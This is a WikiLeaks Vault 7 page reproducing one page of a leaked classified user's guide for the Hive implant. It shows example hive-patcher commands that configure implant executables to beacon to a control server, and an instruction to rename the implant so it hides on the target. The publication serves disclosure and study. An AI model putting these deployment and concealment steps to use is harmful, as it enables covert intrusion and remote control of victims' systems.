WikiLeaks - Vault 7: Projects

# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### Hive

# Users Guide

9 November, 2015

- 1
- 2
…
- 9
- 10
- 11
- 12
- 13
…
- 30
- 31

SECRET//NOFORN
(U) Pre-Deployment (U) Hive 2.9.1 User's Guide
2.3.2 (S) ID Keys File
(S) For each ID key that the patcher generates, a copy of the actual key used, the SHA1 hash that is
used as the trigger key, and the SH1 hash of the trigger key (used in the implant for trigger
validation) are stored in a file named ID-keys.txt along with a date/time stamp showing when the
key was generated.
(S) Examples:
(S) Patch a Linux-x86 executable to beacon to 10.3.2.169:443 every hour, with 5% beacon
jitter variance, after default initial delay using:
hive-patcher -a 10.3.2.169 -i 3600 -j 5 -m linux-x86 -k “Testing Testing”
(S) Patch a MikroTik MIPS executable to beacon to 10.3.2.169:443 every hour with initial
delay of one hour using interface hme0 with:
hive-patcher -a 10.3.2.169 -p 443 -i 3600 -d 3600 -m mt-mips \
-k Testphrase
(S) NOTE 1: Change the name of the resulting executable into another name that would be
consistent with hiding it on the target system before deployment. Record the new name so you can
use it for future reference as required.
(S) NOTE 2: The patcher will support host names up to 256 characters long.
6 SECRET//NOFORN//20401109

- 1
- 2
…
- 9
- 10
- 11
- 12
- 13
…
- 30
- 31